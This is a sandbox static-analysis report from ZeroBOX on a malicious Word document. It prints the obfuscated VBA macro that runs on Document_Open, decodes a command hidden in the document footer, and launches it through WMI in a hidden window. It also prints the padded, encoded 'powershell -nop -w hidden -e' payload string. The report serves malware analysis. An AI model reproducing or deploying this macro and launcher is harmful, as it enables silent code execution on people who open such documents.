popup
Static | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Static Analysis

Original

                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Public Function PSXQs() As Variant
    
    On Error GoTo Handler
    Dim f As String
    f = a(CallByName(CallByName(CallByName(CallByName(CallByName(ActiveDocument, a("02E9SecEtion9s"), 2)(1), a("04gWXRgFWoXoteRrWs"), 2)(1), a("01tRatnge"), 2), a("08A2Hxf.jBAI2nlHixnfeSha.pjeBs"), 2)(1), a("09oK Ij0ED2oAKlt eIrnjat0iEvDeTejx2t"), 2))
    Set ow = GetObject(a("13H8741d{k/RTl@fBKAX?Hw8i7nmgm4t1sd:{\7\.\rko/oRtT\lci7mv2:@WfinB3/2_KProcAesBsSXt?artu{p"))
    Set oc = CallByName(ow, a("077NHOT.:Sp7awNnIHnsOtTan.ce:_"), 1, Null)
    CallByName oc, a("05LbuJTLSbhuowWJindTow"), 4, 0
    Set op = GetObject(a("10k!LBjKJ5YHxNpODakw!iLnBmjgmKtsK:\\.J\r5oYoHt\cixmNvp2:WOin32D_POrocaesDs"))
    CallByName op, a("04Mi1pMCire1atpe"), 1, f, Null, oc, p
Handler:

End Function


Function a(GAhvMAV As String) As String
    Dim HHzxUuB() As Byte
    HHzxUuB = StrConv(GAhvMAV, 128)
    Dim wIaashJ As Integer: wIaashJ = CInt("&h" & Chr(HHzxUuB(0)) & Chr(HHzxUuB(1)))
    For c = wIaashJ + 2 To UBound(HHzxUuB)
        For d = 2 To wIaashJ + 1
            If HHzxUuB(c) = HHzxUuB(d) Then
                Exit For
            ElseIf d = wIaashJ + 1 Then
                a = a + Chr(HHzxUuB(c))
            End If
        Next d
    Next c
End Function


Sub Document_Open()
On Error GoTo Handler
    Call PSXQs
    
Handler:
End Sub

Deobfuscated

                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Public Function PSXQs() As Variant
    
    On Error GoTo Handler
    Dim f As String
    f = a(CallByName(CallByName(CallByName(CallByName(CallByName(ActiveDocument, a("02E9SecEtion9s"), 2)(1), a("04gWXRgFWoXoteRrWs"), 2)(1), a("01tRatnge"), 2), a("08A2Hxf.jBAI2nlHixnfeSha.pjeBs"), 2)(1), a("09oK Ij0ED2oAKlt eIrnjat0iEvDeTejx2t"), 2))
    Set ow = GetObject(a("13H8741d{k/RTl@fBKAX?Hw8i7nmgm4t1sd:{\7\.\rko/oRtT\lci7mv2:@WfinB3/2_KProcAesBsSXt?artu{p"))
    Set oc = CallByName(ow, a("077NHOT.:Sp7awNnIHnsOtTan.ce:_"), 1, Null)
    CallByName oc, a("05LbuJTLSbhuowWJindTow"), 4, 0
    Set op = GetObject(a("10k!LBjKJ5YHxNpODakw!iLnBmjgmKtsK:\\.J\r5oYoHt\cixmNvp2:WOin32D_POrocaesDs"))
    CallByName op, a("04Mi1pMCire1atpe"), 1, f, Null, oc, p
Handler:

End Function


Function a(GAhvMAV As String) As String
    Dim HHzxUuB() As Byte
    HHzxUuB = StrConv(GAhvMAV, 128)
    Dim wIaashJ As Integer: wIaashJ = CInt("&h" & Chr(HHzxUuB(0)) & Chr(HHzxUuB(1)))
    For c = wIaashJ + 2 To UBound(HHzxUuB)
        For d = 2 To wIaashJ + 1
            If HHzxUuB(c) = HHzxUuB(d) Then
                Exit For
            ElseIf d = wIaashJ + 1 Then
                a = a + Chr(HHzxUuB(c))
            End If
        Next d
    Next c
End Function


Sub Document_Open()
On Error GoTo Handler
    Call PSXQs
    
Handler:
End Sub
[Content_Types].xml
_rels/.rels
theme/theme/themeManager.xml
theme/theme/theme1.xml
/,EE\}
theme/theme/_rels/themeManager.xml.rels
K(M&$R(.1
[Content_Types].xmlPK
_rels/.relsPK
theme/theme/themeManager.xmlPK
theme/theme/theme1.xmlPK
theme/theme/_rels/themeManager.xml.relsPK
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<a:clrMap xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" bg1="lt1" tx1="dk1" bg2="lt2" tx2="dk2" accent1="accent1" accent2="accent2" accent3="accent3" accent4="accent4" accent5="accent5" accent6="accent6" hlink="hlink" folHlink="folHlink"/>
Normal
Microsoft Office Word
02E9SecEtion9s$
04gWXRgFWoXoteRrWs$
01tRatnge
08A2Hxf.jBAI2nlHixnfeSha.pjeBs$
09oK Ij0ED2oAKlt eIrnjat0iEvDeTejx2t$
13H8741d{k/RTl@fBKAX?Hw8i7nmgm4t1sd:{\7\.\rko/oRtT\lci7mv2:@WfinB3/2_KProcAesBsSXt?artu{p
077NHOT.:Sp7awNnIHnsOtTan.ce:_$
05LbuJTLSbhuowWJindTow$
10k!LBjKJ5YHxNpODakw!iLnBmjgmKtsK:\\.J\r5oYoHt\cixmNvp2:WOin32D_POrocaesDs$
04Mi1pMCire1atpe$
Attribut
e VB_Nam
e = "Thi
sDocumen
1Normal
VGlobal!
Pre decla
lateDeri
$Custom
blic Fun
ction PS
XQs() As
Variant
Error Go
To Handl
a(CallByK
a("02E9
), 2)(1
4gWXRgF
WoXoteRr
1tRatn
xf.jBAI2
nlHixnfe
Sha.pjeB
9oK Ij0
ED2oAKlt
eIrnjat
0iEvDeTePjx2t
?S et ow@@Ge
tObject(
)13H8741
d{k/RTl@
fBKAX?Hw
8i7nmgm4
t1sd:{\7
\.\rko/o
RtT\lci7
mv2:@Wfi
nB3/2_KP
rocAesBs
SXt?artu
;77NHO
T.:Sp7aw
NnIHnsOt
Tan.ce:_
A/1, Null#
buJTLSbh
uowWJind
>0k!LB
jKJ5YHxN
pODakw!i
LnBmjgmK
tsK:\\.J
\r5oYoHt
\cixmNvp
2:WOin32
1pMCire1Patpe
aa(GAhvxMAV
^H@HzxUuB
("&h" & Chr(
1)e@F`tA@!
+ 2 vUB
) Then
`Exit `
_Open(
Win64x
Project1
stdole
Project-
ThisDocument<
_Evaluate
Normal
Office
Documentj
Handler
CallByName
ActiveDocument
GetObjectz
GAhvMAV
HHzxUuB
StrConvx'
wIaashJ.
Document_Open
Project
\G{00020
0046}#
2.0#0#C:
\Windows
\System3
e2.tlb
#OLE Aut
omation
ENormal
!Offic
DF8D04C-
5BFA-101@B-BDE5
ram File
s\Common
Microso
ft Share
d\OFFICE
16\MSO.D
M 16 .0 Ob
ibrary
BeThisDo
cumentG
ThisDocument
ID="{2EDC50DA-9DCB-4911-9205-30DD5ED71B14}"
Document=ThisDocumeP
nt/&H00000000
Name="Project"
HelpContextID="0"
VersionCompatible32="393222000"
CMG="8F8D623DEEC331C731C731C731C7"
DPB="D6D43B86C58A0D8B0D8B0D"
GC="1D1FF04B70937193716C"
[Host Extender Info]
&H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000
[Workspace]
ThisDocument=0, 0, 0, 0, C
Microsoft Word 97-2003 Document
MSWordDoc
Word.Document.8
Picture 1
06@\!{:?%@C@O@M\SP!EC{% :/b @/?c{ :star!t\ \/b {/m?in: ?p@o?w?ersh@e!ll.e{x?e ?-\n!o{p! !-{w? hid?den {-e a?Q?B{m\A!C?g:A?WwB\J@AG@4!AdA!BQA{H\Q@Ac!g\BdAD!o?A\Og!B!T@A:GkA{e{g{BlA\CA!ALQ!Bl@A!H?E@A@IAA?0A\Ck\Ae?w?Ak!AGIA?P{QAkA!G@U:A{b?gB2@AD{oA\d?wB\pA!G@4?AZA\BpA:H:IAKw!AnA?FwA!cw@B{5!AH!M!Abg!Bh{AH\Q:A?a:Q{B\2?A:GU@AX\A:BX{AG{kAbg!B\kA?G@8A\dw?BzAF:AAb\w{B?3AGU@A:cg:B!T@A?GgAZ\Q\B?s{AG:wAX:A\B!2:AD!EAL:gAwA\Fw{Ac@A:Bv@A:H!c\A\ZQB?y?A{HMA:a@A@B:l@A{Gw\Ab!A!Au{A@G{U\A:eA\B{l\A\C@c?A@fQ\B:lAGw:Ac{w!B@l{AH!sA{J!ABi{A\D0A:J!wBw:AG\8Adw@B!l?AHI!A?c:w:BoAG!U?AbA?Bs?A@C4{AZQ?B{4AGU@AJw!B?9A:Ds\AJ\ABzA!D!0:ATgB!l?A@H@cALQ!B!P?AG!I?Aag@B:lAGM!AdAA!g?A:FMA:e?QBzA?H{QAZQ\Bt!AC4{A?RA\BpAG\EAZ?w?Bu?AG:8{Acw\B\0A@G@kA:Yw?B{z?A!C?4{A@U{AB?yA@G@8AY\w@BlAH{M{Ac!wB?T@AH\Q:AYQ{B@y{AH\Q{A\S?QBu{A!G\YAb@w!A:7AC\QAc\wAuA\E\YA!aQ@B?sA!GU{AT!g:B\h:AG:0\A!ZQ\A{9A!CQAY:g?A\7?ACQ{A{c\w\Au@AE!E{Acg:B:n\A?HU?A\b:QB:lAG{4@A:d{A@Bz:AD\0\AJwA:t\AG\4@Abw@B?w:AC!A!AL!QB:3A!CAAa@AB?pA@GQAZ:A{B{lA:G{4A{I?A{AtA{GM\A?IA!A@mACg{AWwB@z?AG?M?Ac!g!
Normal
Default Paragraph Font
Table Normal
No List
Header
Header Char
Footer
Footer Char
"Project.ThisDocument.Document_Open
"PROJECT.THISDOCUMENT.DOCUMENT_OPEN
Unknown
Times New Roman
Symbol
Calibri
Cambria Math
Root Entry
1Table
WordDocument
SummaryInformation
DocumentSummaryInformation
Macros
ThisDocument
_VBA_PROJECT
PROJECTwm
(1Normal.ThisDocument
*\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\Program Files\Common Files\Microsoft Shared\VBA\VBA7.1\VBE7.DLL#Visual Basic For Applications
*\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\Program Files\Microsoft Office\Office16\MSWORD.OLB#Microsoft Word 16.0 Object Library
*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\Windows\System32\stdole2.tlb#OLE Automation
*\CNormal
*\CNormal
*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\Program Files\Common Files\Microsoft Shared\OFFICE16\MSO.DLL#Microsoft Office 16.0 Object Library
ThisDocument
025f0c9273
ThisDocument
tThisDocument
PROJECT
CompObj
No antivirus signatures available.
No IRMA results available.